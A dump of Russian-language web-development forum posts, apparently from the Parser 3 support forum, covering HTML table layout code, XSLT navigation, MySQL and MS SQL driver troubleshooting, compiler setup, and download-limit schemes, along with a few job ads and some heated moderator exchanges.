		$width[^eval(100\\$cols + (^table.offset[] % $cols < 100 % $cols))%]\
		<td valign=\"top\"^if(^table.offset[] < $cols){ width=\"$width\"}> $text </td> \
		^if(!(^table.line[] % $cols) && ^table.line[] < $table){</tr> <tr> }\
	}\
	^if($table % $cols){\
		^for[i](1;$cols - $table % $cols){<td width=\"$width\"></td> }\
	}\
</tr> \
[/code]\
\
Будет построена таблица\
[code]\
<table> \
	<tr> \
		<td width=\"33%\">Вова (27)</td> \
		<td width=\"33%\">Леша (22)</td> \
		<td width=\"33%\">Вася (24)</td> \
	</tr> \
	<tr> \
		<td width=\"33%\">Антон (67)</td> \
		<td width=\"33%\">Павлик (99)</td> \
		<td width=\"33%\"></td> \
	</tr> \
</table> \
[/code]\
\
А надо выстроить таблицу на основе тех же данных так:\
[code]\
<table> \
	<tr> \
		<td width=\"33%\">Вова</td> \
		<td width=\"33%\">Леша</td> \
		<td width=\"33%\">Вася</td> \
	</tr> \
	<tr> \
		<td width=\"33%\">(27)</td> \
		<td width=\"33%\">(22)</td> \
		<td width=\"33%\">(24)</td> \
	</tr> \
	<tr> \
		<td width=\"33%\">Антон</td> \
		<td width=\"33%\">Павлик</td> \
		<td width=\"33%\"></td> \
	</tr> \
	<tr> \
		<td width=\"33%\">(67)</td> \
		<td width=\"33%\">(99)</td> \
		<td width=\"33%\"></td> \
	</tr> \
</table> \
[/code]\
\
[code]\
@goodsInColumns[table;cols;name;age]\
\
<table>\
	^goodsInColumns[$data]($cols){$data.name}{($data.age)}\
</table>\
[/code]"
"64432","Код я уже видел.\
\
Но подумать и разобраться вы не хотите.\
\
Если таблица одна, как вы только что пояснили, ваша задача даже не тривиальная, просто смешная — изменить одну строку.\
\
Вы же осознаёте что есть и что нужно, в чём между этими вариантами различия?\
\
Не заставляйте меня закрывать ветку и отправлять вас в документацию и FAQ."
"64433","Согласен что задача простая, но иногда бывает стопор. \
\
Ко всему прочему написав на главной странице \"...не требует особенного умения программировать\" вы хотите что бы тут не задавали \"глупые\" вопросы. Ханжество какое-то, imho. Понятное дело что бывалому программисту такие задачи кажутся нежеланием читать документацию, вникать в задачу или чем-то еще, но ни как не отсутствием навыков программирования в общем (не то что бы я говорю, что Макс чего-то не умеет). \
\
З.Ы.\
Может стоит создать отдельный форум, что-то типа \"Обсуждение первых 6-ти уроков\"?"
"64434","Смысл поддержи не в том чтобы писать код вместо кого-то, а чтобы помочь научиться решать проблемы с написанием.\
\
Если человек не в состоянии подумать и без подсказок разобраться с такой элементарщиной — нет смысла писать код, будет только хуже.\
\
[quote]Согласен что задача простая, но иногда бывает стопор[/quote]\
\
Именно на этот случай я прошу ответить на три моих вопроса, чем заставить мозг рассуждать над проблемой «со стороны».\
\
[quote]Ко всему прочему написав на главной странице \"...не требует особенного умения программировать\" вы хотите что бы тут не задавали \"глупые\" вопросы. Ханжество какое-то, imho.[/quote]\
\
Это я там написал про умение программирование, надо полагать?\
\
[quote]Понятное дело что бывалому программисту такие задачи кажутся нежеланием читать документацию, вникать в задачу или чем-то еще, но ни как не отсутствием навыков программирования в общем (не то что бы я говорю, что Макс чего-то не умеет).[/quote]\
\
Лично я (лично я) начинал почти шесть лет назад писать на парсере зная лишь HTML.\
Это не мешало мне читать документацию, пользоваться поиском и чуть-чуть размышлять над задачей.\
И спасибо, что никто не помогал с ерундой, а пинали, заставляя вникать.\
\
[quote]Может стоит создать отдельный форум, что-то типа \"Обсуждение первых 6-ти уроков\"?[/quote]\
\
Я тут ничего не создаю."
"64435","т.к. в пункте 1 вы утверждали неверное (конструкция ^table.line[] < $table абсолютно корректна), а пунктов 2 и 3 imho вы не поняли сами и начали запутывать.\
\
написать другому код, imho, не помощь."
"64436","признаю, был не прав. Тоже читал одним глазом между строк.\
\
что касается идеи решения, то может стоит запустить цикл для $i с шагом $cols где внутри копировать таблицу с $.offset($i) и $.limit($cols), а потом получившуюся табличку уже через меню перебирать? \
\
Мне уже самому интересно знать как правильно такое решить."
"64437","Вы путаетесь в собственных же показаниях.\
\
где то у вас $data.text, где то img, а где то age и name.\
Такое ощущение, что вы содержательную часть вопросов на лету генерируете.\
\
Я так понимаю вам нужно некое преобразование таблицы, исходя из прочитанного здесь: http://www.parser.ru/forum/?id=64430.\
\
Но из прочитанного там же непонятно ЧТО ИМЕННО вам надо, опишите преобразование более понятно, именно так как вы его себе представляете.\
\
Вот например вы пишете, что вызываете так: \
[code]^goodsInColumns[$data]($cols){$data.name ($data.age)}[/code]\
\
Здесь вы передаете некий третий параметр, который сначала вы так и получаете \
[code]<td width=\"33%\">Вова (27)</td> [/code]\
\
а потом вас это уже не устраивает и вы хотите, чтобы имя и число было в разных местах результата, тогда просто где то написать $text у вас уже не получится.\
\
Я даже не хочу пытаться телепатически догадаться какой вид преобразования вам нужен, поэтому если не хотите чтобы G_Z закрыл таки топик - сформулируйте четко задачу. И приведите наконец то таки окончательный вариант кода."
"64438","Разница - в количестве создаваемых строк html таблицы за каждый перебор parser-ной таблицы. Это невозможно решить изменив одну строку."
"64439","Код вы написали самостоятельно?\
Вы понимаете как именно он работает?\
Закончили ли вы уроки?\
Уверенно ли вы знаете HTML?\
\
Глядя на стиль кода, я могу сказать, что его писал не новичёк.\
Вопросы, которые задаёте вы заставляют думать, что этот код вам достался от кого-то и сейчас вы решили его модифицировать, не понимая как он работает."
"64440","В последнем случая я просто немного изменил имена переменных. Суть та же. Я, к сожалению, не знаю как еще объяснить популярнее. :(\
\
Мне нужно на основе данных таблицы\
\
[code]\
$data[^table::create{name	age\
Вова	27 \
Леша	22\
Вася	24\
Антон	67\
Павлик	99\
}] \
[/code]\
\
построить html \
\
[code]\
<table> \
	<tr> \
		<td width=\"33%\">Вова</td> \
		<td width=\"33%\">Леша</td> \
		<td width=\"33%\">Вася</td> \
	</tr> \
	<tr> \
		<td width=\"33%\">(27)</td> \
		<td width=\"33%\">(22)</td> \
		<td width=\"33%\">(24)</td> \
	</tr> \
	<tr> \
		<td width=\"33%\">Антон</td> \
		<td width=\"33%\">Павлик</td> \
		<td width=\"33%\"></td> \
	</tr> \
	<tr> \
		<td width=\"33%\">(67)</td> \
		<td width=\"33%\">(99)</td> \
		<td width=\"33%\"></td> \
	</tr> \
</table> \
[/code]"
"64441","1. Код я писал НЕ самостоятельно!!!\
2. Я думаю, что понимаю как он работает.\
3. Уроки в своем пятом классе я закончил еще днем. Мама проверила.\
4. Впервые вижу! Что это?\
\
Вы думаете, что я пару часов назад увидел парсер, чуть раньше html, и мне приспичило выстроить данные в html-таблицу, а потом я хочу сделать Google. Зря.\
\
Удивите меня, решив мою задачу изменив одну(!) строку."
"64443","Хамить начали вы еще с фразы «Садись, два».\
\
Я спросил вопрос, потому что разбирался и не смог решить самостоятельно. Вопросами по каждой ерунде я людей доставать не люблю. И спросил это не потому что мне, как вы думаете, лень подумать. Отправлять меня к документации не имеет смысла. Я ее читал и читаю. Но вы еще не дали ни одной наводки как мне помочь."
"64444","...более того, я не знаю как вообще можно модифицировать существующий подход, т.к. menu в данном случае, по моему, не приемлем.\
\
считаю, что надо переделать его:\
- посчитайте количество столбцов и строк\
- напишите цикл по строкам, внутри него _два_ цикла по столбцам, один для вывода img, второй для text. на основании row и column внутри считаете offset, сдвигаете позицию на него и выводите. \
\
у этого метода будет недостаток: код поучится не такой запутанный %-)"
"64445","Вы кавычки у фразы в состоянии увидеть?\
С термином «сарказм» знакомы?\
\
Повторяю: форум это не место где за вас переписывают код.\
Форум — это поддержка, где вам помогут, если вы сами хотите решить задачу.\
\
Мои вопросы вызваны исключительно желанием помочь вам [b]разобраться[/b], а не переписать кусок чужого кода.\
Или, вы считаете, что уж больно код диковвеный и задача захватывающая, что уже на полстраницы дискуссия?\
\
От вас выпытывали правильно заданный вопрос, ибо он — половина ответа.\
Обычно с подобными задачами вопрошающие разбираются самостоятельно, как только чётко сформулируют задачу.\
\
Показываю вам направление: на каждый столбец ячейки нужно установить некую ассоциацию «имя — возраст».\
Затем, после генерации строки нужнго сгенерировать ещё одну строку, куда и вывести заготовленные ассоциации.\
\
Это можно сделать массой способов, тут дело вкуса, и вопрос не в количестве строк.\
Однако, гладя на вызов метода, а точнее, на последний параметр, передаваемый в виде junction'а, есть подозрение, что этот метод строит различные таблицы и чётких ассоциаций «одно значение — другое значение» просто нет, и вывести вам тут нужно в новой строке, а там — в соседней.\
\
Потому, я снова возвращаюсь к вопросам.\
Какие данные этот метод должен уметь выводить?\
Всегда ли они одинаковой структуры?\
Всегда ли на выходе должна получаться таблица одинаковой структуры?\
\
Возможно, будет правильней написать отдельный метод, который будет обрабатывать частный случай и не трогать универсальность."
"64446","два вложенных цикла. перед выводом считаем offset на основании текущих row/col, двигаем на него указатель и выводим.\
\
menu -- не единственный способ пробежаться по элементам таблицы =)\
\
P.S. но правильное решение, imho, лежит в другой плоскости: не надо увеличивать в 2 раза количество TD-шек, картинку можно вывести рядом с текстом, разместив её правильно CSS-ом. но про это не спрашивали %-)"
"64447","Благодаря «достоинству« кода.\
\
В любом случае, строки в три-четыре можно написать.\
\
Другой вопрос, что оно явно выводит не только таблицы с 1/2 колонками, и добавление/удаление в результате этих колонок неплохо тоже предусматривать."
"64448","[code]@main[]\
\
$data[^table::create{name	age\
Вова	27 \
Леша	22\
Вася	24\
Антон	67\
Павлик	99\
}] \
\
^printTable[$data;3]\
\
\
\
@printTable[table;iCols][r1;r2;iShift;sAfter]\
$iShift{^eval(^table.line[]%$iCols)} ^rem{флаг \"сдвига\"}\
$r1[]	^rem{первая строка td} \
$r2[]	^rem{вторая строка td} \
^table.menu{\
	^if($iShift){\
		$r1[$r1<td>$table.name</td>]\
		$r2[$r2<td>$table.age</td>]\
\
	}{\
		$r1[$r1<td>$table.name</td>]\
		$r2[$r2<td>$table.age</td>]\
		$result[${result}<tr>$r1</tr><tr>$r2</tr>]\
		$r1[] $r2[]\
	}\
}\
$sAfter[^for[i](1;$iCols-$table%$iCols){<td></td>}] ^rem{сколько пустых ячеек в конце}\
$result[<table>${result}<tr>${r1}$sAfter</tr><tr>${r2}$sAfter</tr></table>][/code]\
\
это первое что пришло в невыспавшуюся голову, без претензии на красоту и универсальность."
"64449","Вообще-то с такой постановкой вопроса нужно идти на фрилансерские сайты и говорит: нужно сделать [url=\"http://www.parser.ru/forum/?id=64440\"]вот так[/url], есть 20$..."
"64451","Я бы рад не увеличивать количество td. Но картинку надо поставить над текстом. При том что картинки могут быть разного размера. И надо, чтобы текст в соседних ячейках одной строки начинался на одном уровне. Css мне бы конечно было бы проще использовать. Но как такое реализовать я тоже не догадывась, кроме как выяснять размеры всех картинок и проставлять максимальный height (по-моему, это не рационально)."
"64453","Прошу прощения у старожил, дал слабину :) не выдержал"
"64454","Реализую постраничность из дерева типа:\
[code]<MenuItem id=\"2\" parent_id=\"1\" name=\"where_to_buy\" menu_name=\"Что покупаем\" path=\"/where_to_buy/\" nav_level=\"1\" show_menu=\"1\" selected=\"0\">\
<MenuItem id=\"7\" parent_id=\"2\" name=\"vid\" menu_name=\"Виды комплекса\" path=\"/where_to_buy/vid/\" nav_level=\"2\" show_menu=\"1\" selected=\"0\"/>\
<MenuItem id=\"15\" parent_id=\"2\" name=\"my_apartment\" menu_name=\"Моя квартира\" path=\"/where_to_buy/my_apartment/\" nav_level=\"2\" show_menu=\"1\" selected=\"0\"/>\
<MenuItem id=\"16\" parent_id=\"2\" name=\"parking\" menu_name=\"Паркинг\" path=\"/where_to_buy/parking/\" nav_level=\"2\" show_menu=\"1\" selected=\"0\"/>\
</MenuItem>[/code]\
Шаблоном\
[code]\
<div class=\"Width50 FloatLeft\">\
<xsl:if test=\"//MenuItem[@id = $Id]/preceding-sibling::MenuItem\">\
<a href=\"{//MenuItem[@id = $Id]/preceding-sibling::MenuItem/@path}\">\
&#8592;\
<xsl:value-of select=\"//MenuItem[@id = $Id]/preceding-sibling::MenuItem[@show_menu = 1]/@menu_name\"/>\
</a>\
</xsl:if>\
<xsl:text> </xsl:text>\
</div>\
<div class=\"Width50 FloatLeft AlignRight\">\
<xsl:if test=\"//MenuItem[@id = $Id]/following-sibling::MenuItem\">\
<a href=\"{//MenuItem[@id = $Id]/following-sibling::MenuItem/@path}\">\
<xsl:value-of select=\"//MenuItem[@id = $Id]/following-sibling::MenuItem[@show_menu = 1]/@menu_name\"/> &#8594;\
</a>\
</xsl:if>\
<xsl:text> </xsl:text>\
</div>\
[/code]\
Но вот preceding-sibling берет первый элемент а как взять именно предыдущий"
"64455","Написать [-1].\
\
И, когда заработает, — переписать полностью заново."
"64459","[code]\
$oBirthday[^Birthday::create[$.iYearCount($iAge)]]\
$oBirthday.sUserName[Misha v.3]\
\
^oBirthday.print[$.sMode[long,funny]]\
[/code]"
"64463","[code]\
[color=\"#AA0000\"]\
^.---------------------------------.-----.\
 |                                 |  .--I--._I__\
 |            V O D K A       _____|  |  [|__[/I/]____\
 |_-----_____________________|._------[  [|___---[o__o]\
  '(_;(_;;=_;;                 '(_;(_;;-====---(_;;=_;;\
\
[/color]\
[/code]"
"64464","Примечания:\
\
1. Нет транзакций \"по-умолчанию\", т.е. неявных транзакций на каждый запрос, которые делает, например ODBC драйвер. Не сделал потому что считаю пользователь сам может их делать (если ему нужно), используя BEGIN TRAN, COMMIT TRAN, ROLLBACK\
2. Можно выполнять хранимые процедуры и получать результаты и в виде скаляра(int, double string etc) и в виде таблицы.\
3. Пока не поддерживается binding параметров (параметризованные запросы)\
4. Поддерживается и Windows Integrated security и SQL Server security\
5. Пока не сделана нормально поддержка $request:charset и $response:charset отличных от UTF-8, - это выражается в том, что все ваши файлы должны быть в кодировке UTF-8\
\
Формат строки подключения:\
\
Windows Integrated: mssql://server=<server>^;database=<database>^;Trusted_Connection=Yes?ClientCharset=windows-1251\
SQL Server: mssql://Server=<server>^;Database=<database>^;Uid=<login>^;Pwd=<password>?ClientCharset=windows-1251\
\
Замечания по limit и offset:\
\
В связи с тем, что в MS SQL отсутствует опция offset, имеющаяся в MySQL, сделать эффективную реализацию поведения limit и offset используя средства парсера, не представляется возможным в общем случае (для простых случаев можно, но это не выход). Поэтому, текущая реализация этой опции, крайне неэффективна (как и в ODBC драйвере). Я подумываю о том, чтобы просто это запретить при использовании этого драйвера (путем выброса исключения). Но выход есть. Необходимо просто формировать SQL запросы соответствующим образом. Схема следующая:\
\
select top <limit>... from <table> where <pk> not in (select top <offset> <pk> from <table>  [order by <fields>]) [order by <fields>]\
\
Подключение драйвера:\
\
mssql	<path>\\parser3mssql.dll	\
\
Никакая клиентская библиотека не нужна, нужно только на том компьютере где сервер с парсером, поставить MS SQL Native Client. Брать отсюда http://www.microsoft.com/downloads/details.aspx?FamilyId=50b97994-8453-4998-8226-fa42ec403d17&DisplayLang=ru файл [b]sqlncli.msi[/b]\
\
PS: Скорее всего будет работать и для MS SQL 2000 и для 2008, но это не проверял\
\
Качать отсюда: http://www.egoroff.spb.ru/portfolio/download/"
"64466","Поиск помог ровно на столько, чтобы понять нужные пути до библиотек. Настраиваю P3 уже не первый раз, но сижу до сих пор бьюсь об стену.\
\
Вот, что дал _test.html.\
\
[b]mysql	/home/site/public_html/cgi-bin/lib/libparser3mysql.so (84956 b)	/usr/local/lib/mysql/libmysqlclient.so (419342 b)[/b]\
\
P3 3.2.1 под FreeBSD [b]5.5[/b] и драйвер скомпилен мной и работает на том же [url=\"http://www.fondmalkin.org/\"]fondmalkin.org[/url].\
\
Сейчас стабильно пишет «libparser3mysql.so can't open the module».\
\
Я понимаю, что тема уже отшлифована и сам сталкивался, но сейчас я уже в отчаянности.\
\
FreeBSD [b]5.5[/b] 32bit MySQL 5.0.45 Apache"
"64468","Как говорил кто-то из классиков:\
Желаю счастья и успехов в личной жизни!\
...Винни Пух кажется...:)"
"64471","Ситуация стала та же. Все файлы видно — тока теперь даёт 500 ошибку.\
\
Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\
\
Однако: «Premature end of script headers»."
"64472","вы бы рассказали что из того, что \"отшлифовано\" вы уже сделали? (включая подробности про то, как вы собирали драйвер и _парсер_)\
\
после того, как всё расскажете, можно будет пытаться понять проблему, а заниматься гаданием лично мне лень."
"64473","Ну, что. Я перепробовал все версии драйвера которые есть тут и одну свою, абсолютными и относительными путями. Я перпробовал несколько [b]libmysqlclient.so[/b], включая [b].10[/b], [b].15[/b], [b].12[/b] абсолютными и относительными путями. Всё это перетыкал во всех комбинациях — около 50-ти =)\
\
Все эти файлы видны в [b]_test.html[/b], но в логе всё то же самое. Отдельно без sql парсер, ясное дело, работает.\
\
Парсер собран [url=\"http://www.parser.ru/forum/?id=59273\"]--with-dynamic-stdcpp[/url]. Драйвер — не помню.\
\
Сейчас доступа к машине нет, не то чтоб собирать чё-то — даже SSH нет."
"64474","когда перебирается такое количество вариантов, большинство из которых заведомо не работоспособно, очень просто упустить пару вариантов из вида, при этом среди них запросто может оказаться правильный.\
\
предлагаю забыть все что делалось и начать заново:\
1. установить 32-х битную клиентскую библиотеку .so.10 для вашей ОС\
2. установить три драйвера: собранный нами для 4.x и для 6.x и собранный вами\
3. установить три парсера: собранный нами для 4.x и для 6.x и собранный вами с -with-dynamic-stdcpp\
\
и проверять, начиная с собранного вами, указав в драйверу и библиотеке абсолютные пути от корня диска."
"64478","вот если данные берутся не из той базы, где Engine, то как они регистрируются в системе? а как определить, к какому они языку относятся? очень интересная проблема. имеется в виду 1 сайт - несколько баз."
"64479","Основные требования:\
- создание, управление, удаление несколькими пользователями своих\
альбомов\
- представление в виде полноразмерных фото и маленьких превью\
- изменение размера (GD?)\
- проверка при загрузке соответствия размера и количества фото установкам\
- выставление оценок фото и альбому другими пользователями\
- одновременная загрузка нескольких фото\
- желательно, но не обязательно: загрузка фото без перезагрузки страницы, показ\
прогресс-бара\
- администрирование своего альбома: изменение названия, описания,\
добавление фото, изменение подписи к ним, удаление фото, определение\
порядка сортировки\
\
Если у вас есть/вы готовы создать класс, обращайтесь по адресу:\
astraforever собачка gmail.com\
Укажите примерную стоимость."
"64480","[b]Вопрос первый.[/b]\
Как проделать следующий плгоритм? Специально не привожу свой код, что бы проверить, как бы это сделали вы\
\
Если в папке /pic/ есть файл 111.jpg, удалить его, и записать файл 111.gif (переданный из формы $form:myimage)\
\
\
[b]Второй вопрос[/b] - вопрос по организации процесса добавления, редактирования и удаления данных. Как это лучше сделать? Есть пара способов, которые я знаю, но какой из них оптимальнее? \
\
[i]Все в одном файле[/i]\
@content[]\
^if(def $form:post_add){код добавления}\
^if(def $form:post_edit){код редактирования}\
^if(def $form:post_del){код удаления}\
\
^if($form:mode eq add){форма добавления}\
^if($form:mode eq edit){форма редактирования}\
^if($form:mode eq del){форма удаления}\
\
<a href=/thispage.html?mode=add>Добавить</a>\
<a href=/thispage.html?mode=edit>Редактировать</a>\
<a href=/thispage.html?mode=del>Удалить</a>\
\
\
[i]Или же все лучше хранить в отдельных файлах[/i]\
\
<a href=/addpage.html?mode=add>Добавить</a>\
<a href=/editpage.html?mode=edit>Редактировать</a>\
<a href=/delpage.html?mode=del>Удалить</a>\
\
И в них уже соответствующий код.\
\
У обоих этих способов есть и плюсы и минусы.\
Или это все изначально неправильные подходы?"
"64481","[code]/photos/index.html\
/photos/photos.p <-- тут обработка $form:mode[/code]\
\
и ссылки\
\
[code]/photos/			сама страничка с фотками\
/photos/?mode=add		добавляем\
/photos/?mode=edit&id=188	модифицируем (вы забыли про ID)\
/photos/?mode=remove&id=188	удаляем[/code]\
\
Так делаю я."
"64482","я тоже куплю такой класс\
zeniv@mail.ru"
"64485","ICQ 225568582\
daaren@gmail.com"
"64486","Тут понадобилось сервак перенести на винду - опять словил всё тот же косяк. Пипец.\
\
Посмотрел логи апача - там оказывается есть массовые ошибки примерно такого плана:\
[quote]\
[Mon Jan 21 13:43:59 2008] [error] [client 10.1.1.20] Error in my_thread_global_end(): 1 threads didn't exit\\r, referer: _здесь_мой_урл_[/quote]\
\
Странно, что я в прошлый раз их не заметил,  или может более старый апач их не регистрировал.\
\
винда - Server 2003 R2 x64\
парсер - 3.2.2b"
"64488","ну во первых чего бы ему не работать в 32-битном режиме? :)\
во вторых у меня и на 32-битной винде была такая же проблема\
\
немного погуглив нашел вот такую интересную дискуссию\
\
http://bugs.mysql.com/bug.php?id=25621\
читать надо с середины, там сначала про сервер (уже пофикшено) а потом про клиентов, это уже про нас. Эта ошибка также есть и в пхп, судя по всему аналогичная:\
\
[quote]It seems to me that the problem lies in the PHP dll \"php_mysql.dll\" as it is opening the\
threads but not telling MySql to close them. This may also account for the error being\
generated whether you use MySql database or not - just calling php_mysql.dll is bad\
enough.[/quote]\
\
Еще нашел топорное решение тут:\
http://www.uforum.uz/showthread.php?t=2494\
\
Замена libmySQL.dll, которая идет в комплекте с парсером, на предлагаемую от проблемы помогло, что в принципе может быть быстрым решением для тех кто с ней столкнулся."
"64489","судя по прочитанному похоже на баг в драйвере парсера, надо будет подправить его и вызывать mysql_library_end/mysql_server_end, чтобы клиентская библиотека не ругалась.\
\
спасибо за гугление и ссылки с описанием."
"64490","Добрый день.\
Хочу выводить свой возраст через конструкцию иф, но выдаёться ошибка. Что я не правильно делаю?\
[code]\
$date_now[^date::now[]]\
^if($date_now.month >= 4) {\
^eval($date_now.year-1983)\
}{  \
^eval($date_now.year-1984)\
}  \
[/code]"
"64491","почитайте её, если не поймёте сами её смысл -- почитайте её объяснение в FAQ."
"64492","/photos/		сама страничка с фотками\
/photos/		добавляем\
/photos/?id=188		модифицируем (вы забыли про ID)\
/photos/?id=188		удаляем\
\
[code]<input type=\"hidden\" name=\"mode\" value=\"add|edit|remove\">[/code]\
\
Ну, я вот так привык."
"64493","В системе (Archlinux) установлены и gcc 4 и gcc 3. Файлики последнего имеют вид:\
\
/usr/bin/c++-3.3\
/usr/bin/cpp-3.3\
/usr/bin/g++-3.3\
/usr/bin/gcc-3.3\
\
Я знаю, что версия 3.2.1 не собирается с помощью gcc 4 (компиляция заканчивается ошибкой в ../types/pa_method.h:77), поэтому решил заменить в сгенерированном Makefile все вхождения g++ на g++-3.3\
\
CXX = g++-3.3\
ac_ct_CXX = g++-3.3\
\
но при сборке все равно вызывается обычный g++ :(\
\
Подскажите, как пофиксить. Использовать более новую версию парсера (так же как удалить gcc4) не могу.\
\
Спасибо."
"64494","как собрать с помощью другого gсс я не подскажу, т.к. не силён в этом.\
\
версия 3.2.2 собирается с помощью gcc 4 (не в x64). можно внести небольшие правки в 3.2.1 (о них писали в форуме, ищите по сообщениям об ошибках сборки) и также собрать её с помощью gcc 4.\
\
но мне не очень понятна причина невозможности перейти на версию 3.2.2. несовместимости с версией 3.2.1 касаются только xml/xsl части, в связи с переходом на новые библиотеки, и ^if(def false){always def now}. однако собрать со старыми -- тривиально, достаточно указать другие циферки в скрипте сборки."
"64495","ответа не будет?\
я понимаю, что они не региструруются в базе, но а что с языками?"
"64496","при запущеном апаче (скачал настроенный с сайта) пытаюсь открыть в опере урок1 ОТОБРАЖАЕТСЯ КОД парсера, а если набрать в браузере 127.0.0.1 отображается обработанная информация ВСЕ РАБОТАЕТ!!!! непонятно что происходит сделал первый урок, а как надо неработает"
"64497","да, ответа не будет, потому что:\
- я уже ответил по поводу дополнительных БД и их регистраций.\
- по поводу используемых в системе языков, imho, все объяснено на страничке с описанием. даже диаграмка есть."
"64498","я все понял. но, допустим, есть у вас др. база, из кот. берутся данные (на ней нет Engine). в вашей базе хранится информация только о данных именно этой базы. что будете делать?"
"64499","и я не понимаю для каких тайных целей потребовалось размазывать данные по нескольким БД.\
\
в engine нет автоматических механизмов работы ни с чем подобным."
"64500","я сам сторонник подхода \"1 сайт - 1 база\".\
но вот делаю сайт Роспотребнадзора.\
там данные разметаны по базам, и их надо выводить на сайте.\
вот и думаю, что делать. \
мой вариант - все-таки как-то учитывать наличие нескольких баз и пути к ним, но как это все связать - не знаю. есть идеи?"
"64504","через тотал открывал index.html в папке с первым уроком, а работоспособность проверял в апаче правой кнопкой отобразить в браузере все в норме\
просто я еще не до конца понял как нужно собирать куски сайта и как должен выглядеть в блокноте index.html"
"64505","Выглядит всё так, как сказано в уроках, только открывать надо в браузере не как локальный файл, а как просто сайт — [b]http://что-то-там/[/b]"
"64506","А где хранить создаваемые сайты, пробовал хранить на iocaihost02 в папке html и оттуда запускал неполучалось, может я ненастроил апач, устанавливал скачанную с этого сайта версию и некачал парсер. Может дело в этом??"
"64507","раньше была от MySQL 5.0.45, теперь стала от 4.1.22. описание [url=\"/forum/?id=64488\"]причин[/url] этой замены.\
\
также в инсталлятор добавлена библиотека msvcP71.dll.\
\
больше внутри ничего не менялось."
"64508","Что именно скачали (точное название архива).\
На какую систему ставите.\
Какой Apache.\
Как настроен.\
Куда какие файлы складываете.\
Что представляет собой ваш код на Парсере, в каких именно файлах и где он лежит.\
Как вызываете сайт.\
Что при этом происходит.\
\
Без тонн вопросительных и восклицательных знаков и капса, и вам помогут.\
Мысли тут читать умеют слабо, а плохо оформленные — не умеют вовсе."
"64509","Для дальнейшей разработки своего проекта ищу программиста на  Parser.\
Проект на Parser, MySQL - использует классы с этого сайта.\
Нужно изготововление новых модулей , отчетов , форм и тд.\
Оплата по договоренности.\
Предложения на max.uraev@gmail.com\
либо по тел. +7(916)808-1224\
Максим"
"64510","Задача: Сделать запрет на скачивание более N-го кол-ва документов в день.\
Вопрос: Как отследить скачал ли пользователь файл успешно или нет?\
Файлы сохраняются через $response:download"
"64511","Вы же клиенту передаете ссылку на файл? \
ничего не мешает ему открыть ее еще раз но не по ссылкам с сайта, а напрямую.\
\
Другое дело, что ничего не мешает в каталоге с файлами написать правило rewrite, чтобы все запросы переадресовывались примерно так:\
\
/files/doc1.rtf -> /download.html?file=/files/doc1.rtf\
\
ну а в download.html описываете свою логику, по которой файл будет даваться или нет\
например создаете простуцю таблицу: пользователь, файл, количесво скачек, обновляете счетчик после каждого скачивания, после чего не выдаете response:download"
"64512","$response:download задаёт новое тело ответа (файл). он может загрузить файл, расположенный вне веб пространства, и выдать его посетителю.\
\
соотв. надо реализовать счётчик (по IP?) и не выполнять $response:download если пользователь превысил количество скачиваний.\
\
самый простой способ подсчёта количества запросов, который приходит мне в голову -- использовать hashfile или БД.\
\
однако надо помнить, что в случае response:download парсер грузит файл в память целиком, прежде чем отдать его пользователю, соотв. не стоит использовать этот способ для больших файлов."
"64513","Файлы - это техническая документация и сертификаты.\
Максимальный вес до 5 Мб.\
Я использую $response:download чтобы скрыть реальное местоположение файлов на сервере.\
\
Подскажите, может есть более простой способ?"
"64514","предложите денег, думаю вам сделают."
"64515","Смените переменную PATH. Перед этим сделайте ссылки с файлов 3-ей версии куда-нибудь, т.е.:\
[code]\
ln -s /usr/bin/c++-3.3 $HOME/bin/c++\
ln -s /usr/bin/g++-3.3 $HOME/bin/g++\
...\
\
export PATH=$HOME/bin:$PATH\
[/code]"
"64516","а вот еще вопросы. давайте возьмем новости. они у вас не лежат в таблице News, а хранятся в поле Data?"
"64518","Сделать хочется самому, иначе какой смысл ... можно было готовый сайт заказать."
"64520","ясно. а в таблице Blocks как указывается на таблицу новостей?\
и это новости на одном языке, а если их несколько? покажите в этом случае, как все выглядит, плиз :)"
"64521","Вам не надо следить за фактом успешной отгрузки нужного числа байт. Вы думаете с точки зрения сервера, а не клиента.\
\
Например, я хочу скачать у вас три файла. Я могу качать их через медленный gprs и скачка будет идти долго - следить за мной для сервера будет накладно. Ваш сервер может перезагрузиться по тысяче причин. Коннект на стороне клиента может прерваться.\
\
Т.е. по тысяче причин запросов к вашему сайту может быть не три и суммарно байт может быть отдано много больше, чем размер этих трёх файлов.\
\
Самый гуманный и надёжный способ, щадащий сервер:\
\
- вы генерируете для каждого запрошенного документа уникальный id и срок его действия (например, now + одни сутки)\
- пишете их в базу\
- из имеющихся в базе записей перегенерируете Апачевский rewrite map файл.\
- выдать пользователю вместо файла download01adfaiou93ihlkhsdfg.html document.pdf становится задачей Apache. Он под это дело оптимизирован и лишних серверных ресурсов не выжрет. Заодно вы сможете сделать доп. настройку силами mod_bandwidth и прочих.\
- редко какой пользователь скачает файл по ссылке более одного раза. Если ему так уж потребуется - скачает по-новой. Если хочет - использует многопоточный download manager. Пользователь не испытает дискомфорта от непонятных ему запретов.\
\
Не привязывайте ID файла к IP пользователя, привязывайте к его логину на сайте. Да, 1% ваших посетителей будут давать свои уникальные ссылки по аське приятелям - но ущерб от них минимален. Зато корпоративные пользователи за балансирующими проксями на вас не будут в обиде. Им невдомёк, что их запросы идут с разных IP - зачастую они вообще слабо понимают, как устроено их подключение к интернету."
"64522","у какого-то объекта есть блок, к нему привязан обработчик. этот обработчик или сам знает что и как показать или содержимое блока трактует как xml с параметрами для своей работы (формат параметров создаёт рразработчик этого обработчика, engine-у на это плевать). откуда он будет доставать новости? это его дело. на каком языке будут новости? это его дело (но он может прочитать переменную класса engine в которой содержится текущий язык).\
\
P.S. судя по вопросам вы не вникали в описание. рассказывать ещё раз то, что я уже раз писал мне лень. не обижайтесь, но я просто не буду давать ответы."
"64523","Спасибо за информацию"
"64524","Добрый день!\
\
Я заметил, что на сайтах студии весь код практически не имеет элементов содержащих пробельные символы. Или это делается на уровне сборки XML посредством DOM или через xsl:strip-space шаблонами XSLT.\
\
Вопрос такой: как вы контролируете сохранение в такой разметке:\
\
[code]<p><b>bold text</b> <i>italic text</i></p>[/code]\
\
ведь на выходе получится\
\
[code]<p><b>bold text</b><i>italic text</i></p>[/code].\
\
Одно из решений -- использовать тег <space />, который в шаблоне преобразуется в <xsl:text> </xsl:text> или у вас существуют другие способы решения данной задачи (DTD, например)?"
"64527","При использовании $response:download для выдаваемого файла не поддреживается докачка.\
\
К примеру:\
http://lancetchat.com/download/LANcetChat-1.1.1.250-beta.zip"
